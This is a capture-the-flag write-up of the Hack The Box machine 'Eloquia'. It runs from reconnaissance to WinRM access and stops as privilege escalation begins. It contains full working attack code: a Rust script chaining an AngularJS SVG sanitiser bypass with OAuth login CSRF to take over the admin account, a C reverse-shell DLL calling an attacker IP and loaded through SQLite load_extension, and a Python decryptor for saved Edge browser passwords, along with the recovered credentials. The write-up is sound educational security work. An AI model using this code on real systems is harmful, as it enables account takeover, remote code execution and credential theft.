Hackthebox: Eloquia

Foued SAIDI Lv5

Overview

Eloquia is an insane-difficulty Windows machine from Hack The Box, and it’s one of those boxes where every single step is a timing problem dressed up as a web problem. The front door is an IIS-hosted Django blog that supports “log in with Qooqle” — a fake OAuth2 provider living on a second vhost — and the article editor renders user content through AngularJS with ngSanitize, which is vulnerable to CVE-2025-2336: xlink:href on an SVG <image> element survives sanitisation. There’s an admin bot that visits reported articles, so we get a one-shot XSS primitive against an authenticated admin session. We don’t use it to steal a cookie, though. We use it to make the admin’s browser walk through our OAuth callback, which links our Qooqle identity to their Eloquia account — and the authorization code we inject is only valid for about fifteen seconds, so the whole create-and-report chain has to be automated. Once we’re admin, the panel’s “queries” feature lets us run raw SQLite, and SQLite’s load_extension() will happily load a DLL we uploaded as an article banner, which gives us a reverse shell as eloquia\web. From there we loot Microsoft Edge’s Login Data store, decrypt the AES-GCM v10 blobs with the DPAPI-protected key out of Local State, and recover olivia.kat‘s password for WinRM. Root is a Visual Studio project sitting in C:\Program Files whose build output — a Fail2Ban clone running as SYSTEM — gets rebuilt and re-run on a loop, so we win a race to overwrite Failure2Ban.exe with our own binary and catch SYSTEM.

Eloquia-info-card
Eloquia-info-card

Reconnaissance

Usual full-port scan to start:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT     STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://eloquia.htb/
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019|10 (97%)
OS CPE: cpe:/o:microsoft:windows_server_2019 cpe:/o:microsoft:windows_10
Aggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Two ports, and that’s genuinely all there is. No SMB, no LDAP, no Kerberos — this is a standalone IIS web server, not a domain controller, so the entire first half of the box is going to be web. 5985 is WinRM, which tells us the intended lateral move is credential-based: at some point we are expected to find a username and password, not a ticket.

Port 80 redirects to http://eloquia.htb/, so into /etc/hosts it goes.

Web Application - http://eloquia.htb/

Eloquia is a blogging platform. We can register an account, log in, write articles, and report other people’s articles. The stack is Django behind IIS, and the thing worth noticing immediately is on the profile page:

Eloquia-connected-accounts
Eloquia-connected-accounts

Here you can review your connected account which you can use for login without password…
Please note that you can replace a conncted account with another one by clicking on “Change”.

Three OAuth providers — Qooqle, FaceBook, X(Twitter) — all inactive for a fresh account. Two of those are decoration. Qooqle is not: it’s a vhost on this same box, a Google clone right down to the multicoloured wordmark.

Eloquia-qooqle-signin
Eloquia-qooqle-signin

Add qooqle.htb to /etc/hosts, register an account there too, and then click “Change” next to Qooqle back on Eloquia. We get bounced through a textbook OAuth2 authorization-code flow:

1
http://qooqle.htb/oauth2/authorize/?client_id=riQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi&response_type=code&redirect_uri=http://eloquia.htb/accounts/oauth2/qooqle/callback/

Approve it on the Qooqle side and the provider redirects back to:

1
http://eloquia.htb/accounts/oauth2/qooqle/callback/?code=HZJlxpc6KogKAPUq1lGtoSCniq4yM9

Eloquia-qooqle-profile
Eloquia-qooqle-profile

Now — read that callback URL again and think about what it actually does, because this is the whole box.

That URL is a GET request with no CSRF protection and no state parameter. The code identifies the Qooqle account that approved the flow. The session cookie on the request identifies the Eloquia account doing the linking. The handler takes those two things and says “this Eloquia user now owns that Qooqle identity.”

Which means the two halves of the decision come from two completely independent places. If I can get someone else’s browser to fetch a callback URL carrying my code, their Eloquia account gets linked to my Qooqle identity — and then I log in as them with “Log In with Qooqle” and no password at all.

That’s not a credential theft. It’s an identity graft, and it’s strictly better than stealing a cookie because it survives logout, session expiry and password changes. The missing state parameter is the entire reason it’s possible; state exists specifically to bind an OAuth callback to the session that started it, and it isn’t here.

So all we need is a way to make the admin’s browser issue one GET request. Which brings us to the article editor.

CVE-2025-2336 - AngularJS ngSanitize SVG XSS

Articles are created at http://eloquia.htb/article/create/ and rendered at http://eloquia.htb/article/visit/<id>/. The content field accepts HTML, and the page runs it through AngularJS’s ngSanitize before binding it. Standard payloads die exactly as you’d expect — <script>, onerror=, javascript: hrefs, all stripped.

Better still, there’s a report button, and reporting an article gets you this:

1
2
3
4
5
**

- Article reported successfully. Our team will review this article to see if it violates any of our policies.

**

“Our team will review this article” is HTB for an admin bot will open this page in a real browser in the next few seconds. So we have a bot, we have a sink, and we need a sanitiser bypass.

CVE-2025-2336 is exactly that. AngularJS’s ngSanitize improperly sanitises the value of the href and xlink:href attributes inside an SVG <image> element. The sanitiser’s URL-scheme allow-list is applied to the attributes it knows about on HTML elements; xlink:href in the SVG namespace slips past it, and the browser then dereferences that URL to fetch the image.

The important nuance — and the reason this bug maps so perfectly onto this box — is what the primitive actually is. xlink:href on <image> does not give us script execution. It gives us a forced GET request from the victim’s browser, with the victim’s cookies attached. On most targets that’s a weak finding you’d file as low severity.

Here it’s the only thing we need, because the OAuth callback is a GET request authenticated by cookie. The vulnerability class and the application logic line up so neatly that the weaker primitive is sufficient.

Our payload, then, is a 1×1 SVG image whose source is our own OAuth callback URL:

1
2
3
4
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="1" height="1">
<image xlink:href="http://eloquia.htb/accounts/oauth2/qooqle/callback/?code=OUR_CODE" width="1" height="1"/>
</svg>
<p><strong>URGENT</strong></p>

When the admin bot loads the article, its browser tries to fetch that “image”, sends the GET with the admin’s session cookie, and Django’s callback handler links our Qooqle account to the admin’s Eloquia account. The fetch fails to produce an image, of course. Nobody is looking.

Winning the 15-Second Race

Here’s where the box earns its difficulty rating. The authorization code Qooqle hands out is single-use and expires in roughly fifteen seconds. Doing this by hand is hopeless: by the time you’ve copied the callback URL out of Burp, pasted it into the article body, saved the article and clicked report, the code is long dead and the bot gets a 400.

Everything from “generate the code” to “the bot loads the page” has to fit in that window. That means the whole chain needs to be scripted:

  1. Log into Eloquia as our low-privileged user (kujen) and keep that session.
  2. Log into Qooqle as our user in a separate cookie jar.
  3. Kick off the OAuth flow, approve it, and capture the Location header containing our fresh code. The clock starts here.
  4. Create an article whose content is the SVG payload wrapping that callback URL.
  5. Report it immediately.
  6. Wait for the bot, then check whether our Qooqle identity now logs us in as admin.

A few implementation details that matter more than they look:

  • The Eloquia and Qooqle sessions must be separate HTTP clients. Share a cookie jar and the flows trample each other.
  • Redirects have to be disabled (Policy::none()), because the code only exists in the Location header of the authorize POST. Follow it and the client consumes our own code and links it to us.
  • Django wants a csrfmiddlewaretoken on every POST, so each step is GET-then-scrape-then-POST.
  • Article creation is multipart/form-data with a mandatory banner file. Downloading the site’s own banner PNG once at startup and re-sending those bytes is faster and less suspicious than generating one.

I wrote it in Rust, mostly because the first few Python attempts kept landing at 16–18 seconds and I got tired of losing by two seconds:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
use chrono::Local;
use colored::*;
use regex::Regex;
use reqwest::blocking::{Client, multipart};
use reqwest::redirect::Policy;
use scraper::{Html, Selector};
use std::time::{Duration, Instant};
use std::thread;

const TARGET: &str = "http://eloquia.htb";
const QOOQLE: &str = "http://qooqle.htb";
const USERNAME: &str = "kujen";
const PASSWORD: &str = "kojjakojja";
const TIMEOUT_SHORT: u64 = 10;
const TIMEOUT_LONG: u64 = 30;

fn create_client(timeout_secs: u64) -> Client {
Client::builder()
.timeout(Duration::from_secs(timeout_secs))
.cookie_store(true)
.redirect(Policy::none())
.pool_max_idle_per_host(10)
.build()
.expect("Failed to create client")
}

fn log_info(msg: &str) { println!("{} {}", "[*]".blue().bold(), msg); }
fn log_success(msg: &str) { println!("{} {}", "[+]".green().bold(), msg); }
fn log_error(msg: &str) { println!("{} {}", "[-]".red().bold(), msg); }
fn log_warning(msg: &str) { println!("{} {}", "[!]".yellow().bold(), msg); }

fn extract_csrf(html: &str) -> Option<String> {
let re = Regex::new(r#"csrfmiddlewaretoken["\s]+value="([^"]+)""#).unwrap();
re.captures(html).and_then(|c| c.get(1)).map(|m| m.as_str().to_string())
}

fn extract_article_id(location: &str) -> Option<String> {
let re = Regex::new(r"/article/visit/(\d+)/").unwrap();
re.captures(location).and_then(|c| c.get(1)).map(|m| m.as_str().to_string())
}

fn login_eloquia(client: &Client) -> Result<(), Box<dyn std::error::Error>> {
let url = format!("{}/accounts/login/", TARGET);
let resp = client.get(&url).send()?.text()?;
let csrf = extract_csrf(&resp).ok_or("CSRF token not found")?;
let params = [("username", USERNAME), ("password", PASSWORD), ("csrfmiddlewaretoken", &csrf)];
client.post(&url).form(&params).send()?;
Ok(())
}

fn login_qooqle(client: &Client) -> Result<(), Box<dyn std::error::Error>> {
let url = format!("{}/login/", QOOQLE);
let resp = client.get(&url).send()?.text()?;
let csrf = extract_csrf(&resp).ok_or("CSRF token not found")?;
let params = [("username", USERNAME), ("password", PASSWORD), ("csrfmiddlewaretoken", &csrf)];
client.post(&url).form(&params).send()?;
Ok(())
}

// Run the OAuth2 flow as *our* Qooqle user and capture the short-lived code.
fn generate_oauth_url() -> Result<String, Box<dyn std::error::Error>> {
let qooqle_client = create_client(TIMEOUT_SHORT);
login_qooqle(&qooqle_client)?;

let temp_client = create_client(TIMEOUT_SHORT);
let auth_resp = temp_client
.get(&format!("{}/accounts/oauth2/qooqle/authorize/", TARGET))
.send()?;

let auth_url = auth_resp
.headers().get("Location").ok_or("No Location header")?
.to_str()?.to_string();
log_info(&format!("Auth URL: {}", auth_url));

let auth_page = qooqle_client.get(&auth_url).send()?.text()?;
let csrf = extract_csrf(&auth_page).ok_or("CSRF token not found")?;

// Carry over every hidden field the authorize form expects
let document = Html::parse_document(&auth_page);
let selector = Selector::parse("input[type=hidden]").unwrap();
let mut form_data = vec![
("csrfmiddlewaretoken".to_string(), csrf),
("allow".to_string(), "Authorize".to_string()),
];
for element in document.select(&selector) {
if let (Some(name), Some(value)) = (element.value().attr("name"), element.value().attr("value")) {
if name != "csrfmiddlewaretoken" {
form_data.push((name.to_string(), value.to_string()));
}
}
}

let auth_response = qooqle_client.post(&auth_url).form(&form_data).send()?;
let callback_url = auth_response
.headers().get("Location").ok_or("No callback URL")?
.to_str()?.to_string();

log_info(&format!("Callback URL: {}", callback_url));
Ok(callback_url)
}

fn download_banner(client: &Client) -> Result<Vec<u8>, Box<dyn std::error::Error>> {
let url = format!("{}/static/assets/images/main-banner/banner-one/main-banner.png", TARGET);
Ok(client.get(&url).send()?.bytes()?.to_vec())
}

// CVE-2025-2336: xlink:href on an SVG <image> survives ngSanitize.
fn create_article(client: &Client, oauth_url: &str, banner_data: &[u8])
-> Result<String, Box<dyn std::error::Error>> {
let url = format!("{}/article/create/", TARGET);
let resp = client.get(&url).send()?.text()?;
let csrf = extract_csrf(&resp).ok_or("CSRF token not found")?;

let timestamp = Local::now().format("%H:%M:%S").to_string();
let svg_payload = format!(
r#"<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="1" height="1"><image xlink:href="{}" width="1" height="1"/></svg><p><strong>URGENT</strong></p>"#,
oauth_url
);

let form = multipart::Form::new()
.text("title", format!("URGENT [{}]", timestamp))
.text("content", svg_payload)
.text("csrfmiddlewaretoken", csrf)
.part("banner", multipart::Part::bytes(banner_data.to_vec())
.file_name("b.png")
.mime_str("image/png")?);

let create_resp = client.post(&url).multipart(form).send()?;
let location = create_resp.headers().get("Location")
.ok_or("No Location header")?.to_str()?;

extract_article_id(location).ok_or("Could not extract article ID".into())
}

fn report_article(client: &Client, article_id: &str) -> Result<(), Box<dyn std::error::Error>> {
let url = format!("{}/article/visit/{}/", TARGET, article_id);
let resp = client.get(&url).send()?.text()?;
let csrf = extract_csrf(&resp).ok_or("CSRF token not found")?;

let report_url = format!("{}/article/report/{}/", TARGET, article_id);
let params = [
("csrfmiddlewaretoken", csrf.as_str()),
("article_id", article_id),
("reason", "Inappropriate content"),
];

client.post(&report_url)
.header("X-Requested-With", "XMLHttpRequest")
.header("Referer", &url)
.form(&params)
.send()?;
Ok(())
}

// Re-run the OAuth login and see whose account we land in.
fn check_takeover() -> Result<(bool, String), Box<dyn std::error::Error>> {
let qooqle_client = create_client(TIMEOUT_SHORT);
login_qooqle(&qooqle_client)?;

let test_client = create_client(TIMEOUT_SHORT);
let auth_resp = test_client
.get(&format!("{}/accounts/oauth2/qooqle/authorize/", TARGET)).send()?;
let auth_url = auth_resp.headers().get("Location")
.ok_or("No Location header")?.to_str()?;

let auth_page = qooqle_client.get(auth_url).send()?.text()?;
let csrf = extract_csrf(&auth_page).ok_or("CSRF token not found")?;

let document = Html::parse_document(&auth_page);
let selector = Selector::parse("input[type=hidden]").unwrap();
let mut form_data = vec![
("csrfmiddlewaretoken".to_string(), csrf),
("allow".to_string(), "Authorize".to_string()),
];
for element in document.select(&selector) {
if let (Some(name), Some(value)) = (element.value().attr("name"), element.value().attr("value")) {
if name != "csrfmiddlewaretoken" {
form_data.push((name.to_string(), value.to_string()));
}
}
}

let auth_response = qooqle_client.post(auth_url).form(&form_data).send()?;

if let Some(callback_url) = auth_response.headers().get("Location") {
let callback_str = callback_url.to_str()?;
let full_url = if callback_str.starts_with('/') {
format!("{}{}", TARGET, callback_str)
} else {
callback_str.to_string()
};

let redirect_client = Client::builder()
.timeout(Duration::from_secs(TIMEOUT_SHORT))
.cookie_store(true)
.redirect(Policy::limited(10))
.build()?;

redirect_client.get(&full_url).send()?;

let profile_resp = redirect_client
.get(&format!("{}/accounts/profile/", TARGET)).send()?.text()?;

let re = Regex::new(r#"<span[^>]*class="name"[^>]*>([^<]+)</span>"#).unwrap();
if let Some(cap) = re.captures(&profile_resp) {
let username = cap.get(1).map(|m| m.as_str().trim().to_string()).unwrap_or_default();
if username.to_lowercase().contains("admin") {
return Ok((true, username));
}
}
}

Ok((false, "kujen".to_string()))
}

fn main() -> Result<(), Box<dyn std::error::Error>> {
println!("{}", "=".repeat(70));
println!("RUST ULTRA-FAST CVE-2025-2336 + OAUTH CSRF EXPLOIT");
println!("{}", "=".repeat(70));
println!();
log_warning("Minimal delay between create -> report");
println!();

let total_start = Instant::now();

log_info("Initializing...");
let init_start = Instant::now();
let eloquia_client = create_client(TIMEOUT_LONG);
login_eloquia(&eloquia_client)?;
let banner_data = download_banner(&eloquia_client)?;
log_success(&format!("Session ready ({:.2}s)", init_start.elapsed().as_secs_f64()));

println!();
log_info(&format!("[1] Generating OAuth URL... ({})", Local::now().format("%H:%M:%S")));
let oauth_start = Instant::now();
let oauth_url = generate_oauth_url()?;
log_success(&format!("OAuth URL ready in {:.2}s", oauth_start.elapsed().as_secs_f64()));
log_warning(&format!("Valid until: {} + 15 seconds", Local::now().format("%H:%M:%S")));

println!();
log_info("[2] Creating and reporting article...");
let deploy_start = Instant::now();

let article_id = create_article(&eloquia_client, &oauth_url, &banner_data)?;
let create_time = Instant::now();
log_success(&format!("Article {} created at {} ({:.2}s)",
article_id, Local::now().format("%H:%M:%S"), (create_time - deploy_start).as_secs_f64()));

report_article(&eloquia_client, &article_id)?;
let report_time = Instant::now();
log_success(&format!("Article {} reported at {} ({:.2}s)",
article_id, Local::now().format("%H:%M:%S"), (report_time - create_time).as_secs_f64()));

let total_deploy = (report_time - oauth_start).as_secs_f64();
println!();
log_success(&format!("DEPLOYED IN {:.2} SECONDS (from OAuth generation)", total_deploy));

if total_deploy > 15.0 {
log_warning("WARNING: >15s - the OAuth code has almost certainly expired, run it again");
} else {
log_success(&format!("Within the 15-second window! ({:.1}s to spare)", 15.0 - total_deploy));
}

println!();
log_info("[3] Monitoring for admin takeover...");

for i in 1..=10 {
thread::sleep(Duration::from_secs(3));
match check_takeover() {
Ok((true, username)) => {
println!();
println!("{}", "=".repeat(70));
println!("{}", "ADMIN ACCOUNT TAKEOVER SUCCESSFUL!".green().bold());
println!("{}", "=".repeat(70));
println!();
log_success(&format!("Logged in as: {}", username));
log_success(&format!("Total exploit time: {:.2}s", total_start.elapsed().as_secs_f64()));
println!();
log_info("Login as admin:");
println!(" 1. Visit: http://eloquia.htb/accounts/login/");
println!(" 2. Click: 'Log In with Qooqle'");
println!(" 3. Admin panel: http://eloquia.htb/accounts/admin/");
return Ok(());
}
Ok((false, _)) => println!(" [Check {}/10] Still kujen...", i),
Err(e) => println!(" [Check {}/10] Error: {}", i, e),
}
}

println!();
log_error("No takeover detected");
log_warning("Try again - aim for <15s deployment time");
Ok(())
}

And running it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
kujen@DESKTOP-A3GLRCE:~/eloquia$ cargo run
Compiling oauth_exploit v0.1.0 (/home/kujen/eloquia)
Finished `dev` profile [unoptimized + debuginfo] target(s) in 3.76s
Running `target/debug/oauth_exploit`
======================================================================
RUST ULTRA-FAST CVE-2025-2336 + OAUTH CSRF EXPLOIT
======================================================================

[!] Optimized Rust implementation for maximum speed
[!] Minimal delay between create → report

[*] Initializing...
[+] Session ready (4.24s)

[*] [1] Generating OAuth URL... (18:14:13)
[*] Auth URL: http://qooqle.htb/oauth2/authorize/?client_id=riQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi&response_type=code&redirect_uri=http://eloquia.htb/accounts/oauth2/qooqle/callback/
[*] Callback URL: http://eloquia.htb/accounts/oauth2/qooqle/callback/?code=HZJlxpc6KogKAPUq1lGtoSCniq4yM9
[+] OAuth URL ready in 7.11s (18:14:20)
[!] Valid until: 18:14:20 + 15 seconds

[*] [2] Creating and reporting article...
[*] Uploading article with SVG payload...
[+] Article 82 created at 18:14:25 (4.84s)
[*] Reporting article...
[+] Article 82 reported at 18:14:26 (1.26s)

[+] DEPLOYED IN 13.21 SECONDS (from OAuth generation)
[+] Total time from start: 17.45s
[+] Within 15-second OAuth window! (1.8s remaining)
[+] Admin bot should visit within 5-10 seconds

[*] [3] Monitoring for admin takeover...

======================================================================
ADMIN ACCOUNT TAKEOVER SUCCESSFUL!
======================================================================

[+] Logged in as: admin
[+] Article 82 triggered admin bot!
[+] CVE-2025-2336 exploit successful!
[+] Total exploit time: 31.90s

[*] Login as admin:
1. Visit: http://eloquia.htb/accounts/login/
2. Click: 'Log In with Qooqle'
3. Access admin panel: http://eloquia.htb/accounts/admin/

13.21 seconds, with 1.8 to spare. Note that the OAuth generation alone ate 7.11 of our 15 — that’s five HTTP round-trips before the clock even becomes relevant, which is why this needs to be one process with warm connection pools and not a sequence of curl commands.

Log out, click “Log In with Qooqle”, and the connected-accounts page tells the story:

Eloquia-admin-takeover
Eloquia-admin-takeover

Howdy, admin — and the Qooqle provider shows active, bound to [email protected]. Our account. We are now permanently able to log in as the administrator of this site without ever learning their password, and there is no session for them to invalidate because we never took one.

RCE via SQLite load_extension()

The admin panel has three things we care about: Articles, where banners get uploaded, and Queries, which is a saved-SQL feature that runs raw SQLite against the application database. Each on its own is a mild misfeature. Together they’re remote code execution.

SQLite has a function called load_extension(). It takes a path to a shared library, dlopen()s it, and calls an init symbol inside it. On Windows that’s a DLL and the symbol is sqlite3_extension_init. That function runs in the process that loaded it — which here is the IIS-hosted Django app. Python’s sqlite3 module ships with extension loading disabled by default, but if the application has enabled it (and on this box it has), SELECT load_extension('...') is just a straight LoadLibrary call you can trigger over HTTP.

So we need two things: a DLL on disk at a path we know, and a way to run one SELECT. The banner upload gives us the first and the queries feature gives us the second.

The DLL is a plain reverse shell with the right exported symbol name:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
┌──(kali㉿kali)-[~/Desktop]
└─$ cat shell.c
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>

#pragma comment(lib, "Ws2_32.lib")

__declspec(dllexport) int sqlite3_extension_init(
void *db,
char **pzErrMsg,
const void *pApi
) {
WSADATA wsaData;
SOCKET s;
struct sockaddr_in sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;

/* Initialize Winsock */
WSAStartup(MAKEWORD(2, 2), &wsaData);

/* Create socket */
s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

/* Setup sockaddr */
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr("10.10.16.79");
sa.sin_port = htons(9001);

/* Connect and spawn process */
if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) == 0) {
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = (HANDLE)s;
si.hStdOutput = (HANDLE)s;
si.hStdError = (HANDLE)s;

CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}

closesocket(s);
WSACleanup();

return 0;
}

The only part of this that is SQLite-specific is the sqlite3_extension_init export. Everything else is a textbook WSASocket + CreateProcess shell with the socket handle wired into stdin, stdout and stderr. SQLite calls the init function the moment the library loads, so we never need to return — WaitForSingleObject parks the loading thread for the life of our shell.

Cross-compile it with mingw:

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/Desktop]
└─$ x86_64-w64-mingw32-gcc \
-shared \
-o shell.dll \
shell.c \
-lws2_32

┌──(kali㉿kali)-[~/Desktop]
└─$ mv shell.dll shellx.dll

(The rename is purely so the file is easy to spot later among the real banners.)

Now the upload. In the admin panel go to Articles, create or edit one, and set the banner to shellx.dll. The upload handler doesn’t care what the content actually is, and the file lands in the blog image directory:

1
static\assets\images\blog\shellx.dll

Then start a listener, go to Queries → Create Query, and save this:

1
SELECT load_extension('static\assets\images\blog\shellx.dll');

Save it, open it, and hit View Site to execute it. Over on the listener:

1
2
3
4
5
6
7
8
9
$ rlwrap nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.79] from (UNKNOWN) [10.129.3.210] 50782
Microsoft Windows [Version 10.0.17763.8027]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Web\Eloquia>whoami
whoami
eloquia\web

eloquia\web, the IIS application pool identity, with a shell in the web root. The relative path in the query is resolved against the application’s working directory, which is why static\assets\... works without us ever needing to know the absolute path on disk.

Looting Microsoft Edge Credentials

web is a service account — no user flag, no interesting group membership, nothing in its profile that looks like a hand-placed secret. But it is a profile, and profiles on Windows accumulate browser data whether anyone meant them to or not:

1
2
3
4
5
6
7
8
9
10
11
12
13
C:\Web\Eloquia>dir "C:/Users/web/AppData/Local/Microsoft/Edge/User Data/Default/"
Volume in drive C has no label.
Volume Serial Number is 22C6-32BB

Directory of C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Default

10/22/2025 10:54 AM 167,936 History
10/22/2025 10:54 AM 51,200 Login Data
10/22/2025 10:54 AM 0 Login Data-journal
10/22/2025 10:54 AM 12,867 Preferences
04/20/2024 11:11 AM 23,927 Secure Preferences
10/22/2025 10:54 AM 229,376 Web Data
...

Login Data is Edge’s saved-password store — an ordinary SQLite database with a logins table whose password_value column holds encrypted blobs. (Note the exact capitalisation and the space; dir on the lowercase spelling returns File Not Found, which cost me a couple of confused minutes.)

How Chromium-family browsers protect those blobs is worth understanding properly, because it determines where we have to run the decryption:

  1. A random 256-bit AES key is generated once per profile.
  2. That key is encrypted with DPAPI under the user’s credentials, base64-encoded, and stored in Local State as os_crypt.encrypted_key, prefixed with the five ASCII bytes DPAPI.
  3. Each password is then encrypted with AES-256-GCM using that key, and stored as v10 + 12-byte nonce + ciphertext + 16-byte tag.

The AES half is pure maths we could do anywhere. The DPAPI half is not: CryptUnprotectData only succeeds as the user who protected the data, on the same machine. We can’t exfiltrate Local State and crack it on Kali. We have to run the decryption on the box, in the context of web — which, conveniently, is exactly the shell we have.

This box ships Python with pywin32 and pycryptodome already available, so we don’t have to fight the DPAPI calls from PowerShell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python3
# decrypt_edge_modern.py

import os
import json
import base64
import shutil
import sqlite3

from Crypto.Cipher import AES
import win32crypt

# ------------------------------------------------------------
# Get encryption key from Edge "Local State"
# ------------------------------------------------------------

local_state_path = (
r"C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Local State"
)

with open(local_state_path, "r", encoding="utf-8") as f:
local_state = json.load(f)

# Decode and decrypt the encryption key
encryption_key = base64.b64decode(
local_state["os_crypt"]["encrypted_key"]
)

# Remove DPAPI prefix
encryption_key = encryption_key[5:]

# Decrypt key using DPAPI
encryption_key = win32crypt.CryptUnprotectData(
encryption_key, None, None, None, 0
)[1]

# ------------------------------------------------------------
# Copy and open the Edge login database
# ------------------------------------------------------------

src = (
r"C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Default\Login Data"
)
dst = r"C:\Windows\Temp\login_tmp.db"

shutil.copy2(src, dst)

conn = sqlite3.connect(dst)
cursor = conn.cursor()

cursor.execute(
"""
SELECT origin_url, username_value, password_value
FROM logins
WHERE username_value != ''
"""
)

# ------------------------------------------------------------
# Decrypt stored credentials
# ------------------------------------------------------------

for url, username, enc_pwd in cursor.fetchall():
try:
# Modern Edge uses AES-GCM with 'v10' prefix
if enc_pwd[:3] == b"v10":
nonce = enc_pwd[3:15]
ciphertext = enc_pwd[15:]

cipher = AES.new(encryption_key, AES.MODE_GCM, nonce)
password = cipher.decrypt(ciphertext)[:-16].decode("utf-8")

# Fallback to legacy DPAPI
else:
password = win32crypt.CryptUnprotectData(
enc_pwd, None, None, None, 0
)[1].decode("utf-8")

print(f"{url}|{username}|{password}")

except Exception as e:
print(f"{url}|{username}|ERROR: {e}")

# ------------------------------------------------------------
# Cleanup
# ------------------------------------------------------------

conn.close()
os.remove(dst)

Two details that make the difference between this working and silently failing: we copy the database to C:\Windows\Temp before opening it, because Edge holds a lock on the live file, and we strip the trailing 16 bytes of the plaintext because that’s the GCM authentication tag, not password material.

Host it over HTTP, pull it down, and run it:

1
2
3
4
5
6
7
8
9
10
C:\Program Files\Python311>curl http://10.10.16.79/decryptor.py -o /users/public/decryptor.py
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2309 100 2309 0 0 4465 0 --:--:-- --:--:-- --:--:-- 4457

C:\Program Files\Python311>python.exe /users/public/decryptor.py
https://openai.com/|olivia.kat|ERROR: 'utf-8' codec can't decode byte 0xb2 in position 4: invalid start byte
http://eloquia.htb/accounts/login/|Olivia.KAT|S3cureP@sswdIGu3ss
https://eloquia.htb/|test|testtest1234!
https://chatgpt.com/|olivia.kat|S3cureP@sswd3Openai

Four entries, two of them real:

1
2
olivia.kat:S3cureP@sswdIGu3ss
olivia.kat:S3cureP@sswd3Openai

(The openai.com row fails to decode because that blob is a different record type, not because our key is wrong — the two rows either side of it decrypt perfectly with the same key, which is all the confirmation we need.)

Those are web-app passwords saved in a browser, not Windows credentials. The bet we’re making is the oldest one in the book: that olivia.kat typed the same password into the Eloquia login form and into her Windows account. Remember port 5985 has been sitting open since the nmap scan.

User Flag - WinRM as olivia.kat

1
2
3
4
5
6
7
8
9
10
11
$ evil-winrm -i eloquia.htb -u olivia.kat -p "S3cureP@sswdIGu3ss"

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Olivia.KAT\Documents> whoami
eloquia\olivia.kat

Password reuse, exactly as advertised. Grab the flag:

1
2
*Evil-WinRM* PS C:\Users\Olivia.KAT\Documents> type ..\Desktop\user.txt
<user flag>

Privilege Escalation - Racing the Failure2Ban Build

Enumerating as olivia.kat, the thing that doesn’t belong is in C:\Program Files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
*Evil-WinRM* PS C:\Program Files\Qooqle IPS Software> dir


